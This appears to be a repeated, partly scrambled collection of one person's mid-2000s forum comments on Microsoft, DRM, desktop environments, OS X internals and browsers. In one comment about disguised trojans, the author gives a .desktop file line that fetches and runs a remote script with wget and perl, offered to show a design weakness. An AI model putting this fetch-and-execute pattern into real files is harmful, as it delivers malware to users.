Micros~1 knows very well windows can't really compete against solaris, aix and all the unix vendors when it comes to quality
Micros~1 wanted to take the server market, but they don't like competing. What server do? Give services to clients. Who are clients? Desktops. Who ows 95% of the desktop market share? Microsoft. So just integrate windows server and clients so tighly, that people will choose windows as server. Not because windows is a better server OS, but because it allows good integration with clients, which is what servers are about. (Unix fragmentation didn't help to fight Micros~1 either). Unix dominates in the field where there're open protocols and there's a lack of licenses, patents, and shit: HTTP, FTP, email, etc. In other words: where companies can compete freely. But when it comes to integrating windows clients, nothing can do it better than a windows server.
This wouldn't be a problem if Microsoft weren't using propietary and closed technologies to forbid other companies from competing. It's not a coincidence that the European Commison asked micros~1"to disclose complete and accurate interface documentation which would allow non-Microsoft work group servers to achieve full interoperability with Windows PCs and servers. This will enable rival vendors to develop products that can compete on a level playing field in the work group server operating system market. The disclosed information will have to be updated each time Microsoft brings to the market new versions of its relevant products" and fining Micros~1. It's not a coincidence that IBM, red hat, sun, nokia and real are complaining to the European commission either.
This is in europe, in eeuu people tried this and failed. It's somewhat ironic that the country which is supposed to love capitalism is quickly becoming a place where companies can't compete and users are told waht and how they must see ej: a film (DRM). Communists have not gone away, but it's not russia where they're this time....
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Vista is much worse than just a plugin, they're planning to control via DRM absolutely all the path that the media content follows from your DVD to your screen.
DRM is just a propietary file format to keep people tied to a software just like CSS is a very succesful way to control the dvd-player market. It's not there to keep people away from seeing video. By implemeting DRM support you break the main purpose of DRM
The one reason why itunes sells DRMed songs is because in 5-10 years, everyone who bought itunes songs will NEED to buy a ipod to listen those songs, no matter if by that time ipod is the worst and more expensive player of the galaxy. You're stuck with apple products
The same goes for DRM'ed.doc documents. Has microsoft published the office stanrdard to let people steal market share from a product which is 30% of the total income of microsoft? Hell, no. Publishing standards in office 2003 looked nice to governments. In the real world, office 2003 also includes DRM. All documents DRM'ed with office will need...office to be opened again in the future. No other software will be able to open them if Microsoft doesn't let them. Office standards being "opened" is just a lie. DRM being "secure" is just a lie. I can do everything office DRM does with PGP - even allowing people to see documents remotely through a "DRM server"
So DRM is just a closed document format. But instead of being a standard closed format which can be reverse-ingeniereed, they use crypto to make the "perfect closed format": A closed format that can't be reverse-enginereed. By allowing people to use DRM in other systems you break the purpose of DRM. But yes, DRM should be avoided. It's ironic that DRM has been created in the country that is supposed to love capitalism - DRM keeps me away from choosing products from other companies which is what the capitalism is about.
So editing your preferences sounds weird for you? Dunno, it sounds OK for me
I hate those programs that have a "action" menu however, like some of the GDM themes or evolution (at least it used to be that way). Hell, EVERYTHING I do in a interface is an action.
KDE is focused in revamping the whole KDE infrastructure with KDE 4, even during the kde 3.5 development some people said 3.5 would be unstable because too many developers where focusing in KDE 4 (kde 3.5.1 is great for me).
So you won't see any kde news for a while except for KDE 4. KDE 3.5 is everything what KDE 3.X has to offer. Of course people could continue developing 3.5, but they're focusing in kde 4....there'll be news in the kde 3.5 field - bugfix releases, updates from individual programs like koffice or kopete - but overall, you won't see any "earthbreaking" change in kde 3.5.
Some gnome developers think that there should not be a gnome 3 - at least, there's zero lines of "gnome 3 code" right now - and that the gnome 2 is OK and that it's much better to do small improvements to the current architecture. This is a big error IMO, but the fact is that until kde 4 is released it will be gnome who gets more attention and releases more attractive things.
They're already doing this with messenger, they just have to make a GUI that doesn't sucks to make people use it (the UI is somewhat improved with the upcoming messenger 8)
Maybe from your mind, but no frome everybody else's mind. I'm already seeing voip phones announced in TV, and this is spain, a rare place to see such things so soon
One more crippling bombshell hit the already beleaguered *BSD community when IDC confirmed that *BSD market share has dropped
Heh, I hope IDC wasn't so bad as they were with predicting itanium sales. We're lucky that this time they're using a oracle to check their predictions, I hope they used it with BSD.
In the Linux kernel Dave Jones also found a power consumption problem with USB, but it seems (to me) that the USB spec is just f*cked up - i wonder if this microsoft issue is related.
Thus you're not offering the reward because your product is shitty. Instead it's because you have an opportunity to make a potentially rewarding business move.
So wait: IE default home page in XP is msn.com, messenger has a text box field which allows you to search in msn, the messenger installer set ups your home page to msn.com, installs the msn bar in internet explorer, IE7 default search engine will be msn, there's a msn desktop search engine, Microsoft can put "search in msn" everywhere in vista AND still Microsoft needs to pay users?
You don't need anything else to realize how crappy msn search is, if it was good and it'd offer interesting things everybody would use it, millions of users changing windows defaults to google are probably wrong right?
Netbsd doesn't supports Itanium, so don't hold your breath: Linux supports itanium and to support it it was neccesary to support EFI in first place, so EFI support for linux was there.
On the other hand, NetBSD doesn't supports G5's either, so it's not that it comes as surprise.
Wrong, pretty much most of the kernel code in os x is freebsd, I remember a paper from @apple.com people which provided percentages and mach was a minority. Mach provides just the process scheduler etc, freebsd provides a TCP/IP stack, filesystem, console support, posix functiontality an it's THAT what takes more code (there's the IOkit aswell but that's not freebsd)
(This, incidentially, is also why those benchmarks that were here a few months ago showed some inherent slowness in the kernel.) I'd personally much rather see them switch to a kernel architecture that had less overhead.
Wrong. To start with, Mac OS X is NOT a microkernel. Mac OS X started from mach and then moved various parts which microkernel usually implement in userspace - tcp/ip stack, filesystem, vfs - into the kernel. Moving those parts to kernelspace is pretty much the contrary of what microkernels is supposed to do and makes os x to have a monolithic kernel look: A bug in the tcp/ip stack can bring the system down. And it's a Good Thing, is what 99.999% of the general-purpose OSs do because of a reason.
Has Dvorak missed the amount of time, secrecy, and effort Apple has put into keeping it's options open for Mac OS X to run on alternate hardware platforms? Christ, Dvorak.
Actually, if apple were going to switch to windows, I don't see why they wouldn't do the whole intel + microsoft transition instead of swtiching to intel and then to windows. This is silly. You can argue G5's were not much faster or even slower than x86 chips, but Mac OS X is clearly ahead of windows.
I wouldn't be surprised to see mac os x to change to another OS, though. Multiple core CPUs are there and the freebsd code injected in their mach kernel is know to have had some problems (just like freebsd 5.x) WRT. scalability. Is not that freebsd will never be fixed and that 6.x is not rocking already, but damn, solaris han been opensourced and it is one of the hottest events on the OS field in the latest years...I wouldn't be surprised that apple were considering to switch their freebsd code for solaris code
There is a double standard in slashdot - most of the latest windows "virus" warnings weren't really virus, but trojans that users needed to double click to make them work.
People is critizing Windows for not providing "security" measures against those files so I don't see why you wouldn't do the same for mac os x - when thousands of people are being infected by such things, even if there's not a security hole something is failing somewhere, and I'd argue that those thousands of users shouldn't need to take computing classes to have a secure system.
Somebody better wake up Apple and fix this application-looks-like-a-pretty-JPEG icon bug!!
You're welcome, you can do the same with.desktop files in linux: Set Name= and Icon= fields to something fancy. At some point I test it and I was able to put things like "Run=wget foo.com/virus.pl; perl virus.pl" so you've a virus just like windows - market share doesn't allows such virus to be succesful of course but the problem is the same than windows.exe files. In a perfect world.desktop files would require +x to be interpreted (just like you do with scripts) and we'd be safe and virus couldn't spread through mailers, but good designs aren't that appealing for some open source coders these days it seems.
I will never understand this stupid "america vs europe" fight. I'm spanish and I've always seen americans as europeans. Hell, america founding fathers were european and all the native culture was sent (literally) to hell. America is just europa expanded to another place, there's no reason to fight "america vs europa".
You sound like you've never actually picked up Opera and used it...
Oh yes - Actually, I have it installed.
I've never found a FF extension which added a genuinely useful feature that wasn't already in Opera, with the exception of GreaseMonkey
Oh, well, opera managed to implement the same functionality than thousand of firefox extensions, right? Maybe you don't need some of the extensions firefox community provides. Many other people does and finds them useful That's the whole point of extensions. You're not forced to install them.
Why not just use the disk to store the cache instead of memory? I wouldn't be surprised that opera is using the standard browser cache to implement this feature...
and it does it without having to download "extensions"
Well, you just picked up the worst reason - opera is great when it comes to performance, but firefox + extensions consistently beat opera and IE when it comes to features. I can have the features I want, there're way more extensions that features than opera has, and if I don't want them, I don't need to keep the extra UI involved in those features.
Or even better: fix the code to not to waste so many mem. Opera does the same and it eats much less memory. Why not store the cache on disk? Disk is much faster than network...
I think you don't get the point: IBM and google just want to be "yet another open source geek". You won't see IBM/google people showing up as maintainers of a given project and controlling that project just to benefit their companies (unlike Sun does with, for example, openoffice)
I agree about the lack of columns and icon view. However, there are some bugs open about them, and none of them has been WONTFIXed or anything like that, so the design isn't fixed in stone and good implementations would no doubt be welcome, and will probably end up there sooner or late
The problem is not if it will be fixed or not - the problem is how QA controls have allowed to release this as it's today.
You're obviously not very familiar with the preview API of GtkFileChooser, there is nothing that limits it to the pixbuf loaders. If a video editing program or player wants video thumbnails there, it can easily be done.
Happy to know that it's fixable without rewriting the whole thing.
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Micros~1 knows very well windows can't really compete against solaris, aix and all the unix vendors when it comes to quality
Micros~1 wanted to take the server market, but they don't like competing. What server do? Give services to clients. Who are clients? Desktops. Who ows 95% of the desktop market share? Microsoft. So just integrate windows server and clients so tighly, that people will choose windows as server. Not because windows is a better server OS, but because it allows good integration with clients, which is what servers are about. (Unix fragmentation didn't help to fight Micros~1 either). Unix dominates in the field where there're open protocols and there's a lack of licenses, patents, and shit: HTTP, FTP, email, etc. In other words: where companies can compete freely. But when it comes to integrating windows clients, nothing can do it better than a windows server.
This wouldn't be a problem if Microsoft weren't using propietary and closed technologies to forbid other companies from competing. It's not a coincidence that the European Commison asked micros~1 "to disclose complete and accurate interface documentation which would allow non-Microsoft work group servers to achieve full interoperability with Windows PCs and servers. This will enable rival vendors to develop products that can compete on a level playing field in the work group server operating system market. The disclosed information will have to be updated each time Microsoft brings to the market new versions of its relevant products" and fining Micros~1. It's not a coincidence that IBM, red hat, sun, nokia and real are complaining to the European commission either.
This is in europe, in eeuu people tried this and failed. It's somewhat ironic that the country which is supposed to love capitalism is quickly becoming a place where companies can't compete and users are told waht and how they must see ej: a film (DRM). Communists have not gone away, but it's not russia where they're this time....
Vista is much worse than just a plugin, they're planning to control via DRM absolutely all the path that the media content follows from your DVD to your screen.
.doc documents. Has microsoft published the office stanrdard to let people steal market share from a product which is 30% of the total income of microsoft? Hell, no. Publishing standards in office 2003 looked nice to governments. In the real world, office 2003 also includes DRM. All documents DRM'ed with office will need...office to be opened again in the future. No other software will be able to open them if Microsoft doesn't let them. Office standards being "opened" is just a lie. DRM being "secure" is just a lie. I can do everything office DRM does with PGP - even allowing people to see documents remotely through a "DRM server"
DRM is just a propietary file format to keep people tied to a software just like CSS is a very succesful way to control the dvd-player market. It's not there to keep people away from seeing video. By implemeting DRM support you break the main purpose of DRM
The one reason why itunes sells DRMed songs is because in 5-10 years, everyone who bought itunes songs will NEED to buy a ipod to listen those songs, no matter if by that time ipod is the worst and more expensive player of the galaxy. You're stuck with apple products
The same goes for DRM'ed
So DRM is just a closed document format. But instead of being a standard closed format which can be reverse-ingeniereed, they use crypto to make the "perfect closed format": A closed format that can't be reverse-enginereed. By allowing people to use DRM in other systems you break the purpose of DRM. But yes, DRM should be avoided. It's ironic that DRM has been created in the country that is supposed to love capitalism - DRM keeps me away from choosing products from other companies which is what the capitalism is about.
So editing your preferences sounds weird for you? Dunno, it sounds OK for me
I hate those programs that have a "action" menu however, like some of the GDM themes or evolution (at least it used to be that way). Hell, EVERYTHING I do in a interface is an action.
Actually, I wonder why I have a "file" menu in apps that are not file-based, like ej: a gnome game.
KDE is focused in revamping the whole KDE infrastructure with KDE 4, even during the kde 3.5 development some people said 3.5 would be unstable because too many developers where focusing in KDE 4 (kde 3.5.1 is great for me).
So you won't see any kde news for a while except for KDE 4. KDE 3.5 is everything what KDE 3.X has to offer. Of course people could continue developing 3.5, but they're focusing in kde 4....there'll be news in the kde 3.5 field - bugfix releases, updates from individual programs like koffice or kopete - but overall, you won't see any "earthbreaking" change in kde 3.5.
Some gnome developers think that there should not be a gnome 3 - at least, there's zero lines of "gnome 3 code" right now - and that the gnome 2 is OK and that it's much better to do small improvements to the current architecture. This is a big error IMO, but the fact is that until kde 4 is released it will be gnome who gets more attention and releases more attractive things.
They're already doing this with messenger, they just have to make a GUI that doesn't sucks to make people use it (the UI is somewhat improved with the upcoming messenger 8)
Maybe from your mind, but no frome everybody else's mind. I'm already seeing voip phones announced in TV, and this is spain, a rare place to see such things so soon
One more crippling bombshell hit the already beleaguered *BSD community when IDC confirmed that *BSD market share has dropped
Heh, I hope IDC wasn't so bad as they were with predicting itanium sales. We're lucky that this time they're using a oracle to check their predictions, I hope they used it with BSD.
In the Linux kernel Dave Jones also found a power consumption problem with USB, but it seems (to me) that the USB spec is just f*cked up - i wonder if this microsoft issue is related.
Thus you're not offering the reward because your product is shitty. Instead it's because you have an opportunity to make a potentially rewarding business move.
So wait: IE default home page in XP is msn.com, messenger has a text box field which allows you to search in msn, the messenger installer set ups your home page to msn.com, installs the msn bar in internet explorer, IE7 default search engine will be msn, there's a msn desktop search engine, Microsoft can put "search in msn" everywhere in vista AND still Microsoft needs to pay users?
You don't need anything else to realize how crappy msn search is, if it was good and it'd offer interesting things everybody would use it, millions of users changing windows defaults to google are probably wrong right?
What is the quality of MSN's search engine like? Does it rival that of Google?
Would Microsoft need to waste 1 millon of dollars if the msn search engine was good?
If you have to pay users to use your product, then your prodcut is crap.
Netbsd doesn't supports Itanium, so don't hold your breath: Linux supports itanium and to support it it was neccesary to support EFI in first place, so EFI support for linux was there.
On the other hand, NetBSD doesn't supports G5's either, so it's not that it comes as surprise.
Wrong, pretty much most of the kernel code in os x is freebsd, I remember a paper from @apple.com people which provided percentages and mach was a minority. Mach provides just the process scheduler etc, freebsd provides a TCP/IP stack, filesystem, console support, posix functiontality an it's THAT what takes more code (there's the IOkit aswell but that's not freebsd)
(This, incidentially, is also why those benchmarks that were here a few months ago showed some inherent slowness in the kernel.) I'd personally much rather see them switch to a kernel architecture that had less overhead.
Wrong. To start with, Mac OS X is NOT a microkernel. Mac OS X started from mach and then moved various parts which microkernel usually implement in userspace - tcp/ip stack, filesystem, vfs - into the kernel. Moving those parts to kernelspace is pretty much the contrary of what microkernels is supposed to do and makes os x to have a monolithic kernel look: A bug in the tcp/ip stack can bring the system down. And it's a Good Thing, is what 99.999% of the general-purpose OSs do because of a reason.
Has Dvorak missed the amount of time, secrecy, and effort Apple has put into keeping it's options open for Mac OS X to run on alternate hardware platforms? Christ, Dvorak.
Actually, if apple were going to switch to windows, I don't see why they wouldn't do the whole intel + microsoft transition instead of swtiching to intel and then to windows. This is silly. You can argue G5's were not much faster or even slower than x86 chips, but Mac OS X is clearly ahead of windows.
I wouldn't be surprised to see mac os x to change to another OS, though. Multiple core CPUs are there and the freebsd code injected in their mach kernel is know to have had some problems (just like freebsd 5.x) WRT. scalability. Is not that freebsd will never be fixed and that 6.x is not rocking already, but damn, solaris han been opensourced and it is one of the hottest events on the OS field in the latest years...I wouldn't be surprised that apple were considering to switch their freebsd code for solaris code
Like you need root access to look for email adresses or hook up in the IM program to autosend itself via IM....
There is a double standard in slashdot - most of the latest windows "virus" warnings weren't really virus, but trojans that users needed to double click to make them work.
People is critizing Windows for not providing "security" measures against those files so I don't see why you wouldn't do the same for mac os x - when thousands of people are being infected by such things, even if there's not a security hole something is failing somewhere, and I'd argue that those thousands of users shouldn't need to take computing classes to have a secure system.
Somebody better wake up Apple and fix this application-looks-like-a-pretty-JPEG icon bug!!
.desktop files in linux: Set Name= and Icon= fields to something fancy. At some point I test it and I was able to put things like "Run=wget foo.com/virus.pl; perl virus.pl" so you've a virus just like windows - market share doesn't allows such virus to be succesful of course but the problem is the same than windows .exe files. In a perfect world .desktop files would require +x to be interpreted (just like you do with scripts) and we'd be safe and virus couldn't spread through mailers, but good designs aren't that appealing for some open source coders these days it seems.
You're welcome, you can do the same with
Zoofilic is already weird enought, why people now wants "geofilia"? What is next, pr0n pictures of islands with huge mountains?
I will never understand this stupid "america vs europe" fight. I'm spanish and I've always seen americans as europeans. Hell, america founding fathers were european and all the native culture was sent (literally) to hell. America is just europa expanded to another place, there's no reason to fight "america vs europa".
You sound like you've never actually picked up Opera and used it...
Oh yes - Actually, I have it installed.
I've never found a FF extension which added a genuinely useful feature that wasn't already in Opera, with the exception of GreaseMonkey
Oh, well, opera managed to implement the same functionality than thousand of firefox extensions, right? Maybe you don't need some of the extensions firefox community provides. Many other people does and finds them useful That's the whole point of extensions. You're not forced to install them.
Why not just use the disk to store the cache instead of memory? I wouldn't be surprised that opera is using the standard browser cache to implement this feature...
and it does it without having to download "extensions"
Well, you just picked up the worst reason - opera is great when it comes to performance, but firefox + extensions consistently beat opera and IE when it comes to features. I can have the features I want, there're way more extensions that features than opera has, and if I don't want them, I don't need to keep the extra UI involved in those features.
Or even better: fix the code to not to waste so many mem. Opera does the same and it eats much less memory. Why not store the cache on disk? Disk is much faster than network...
I think you don't get the point: IBM and google just want to be "yet another open source geek". You won't see IBM/google people showing up as maintainers of a given project and controlling that project just to benefit their companies (unlike Sun does with, for example, openoffice)
I agree about the lack of columns and icon view. However, there are some bugs open about them, and none of them has been WONTFIXed or anything like that, so the design isn't fixed in stone and good implementations would no doubt be welcome, and will probably end up there sooner or late
The problem is not if it will be fixed or not - the problem is how QA controls have allowed to release this as it's today.
You're obviously not very familiar with the preview API of GtkFileChooser, there is nothing that limits it to the pixbuf loaders. If a video editing program or player wants video thumbnails there, it can easily be done.
Happy to know that it's fixable without rewriting the whole thing.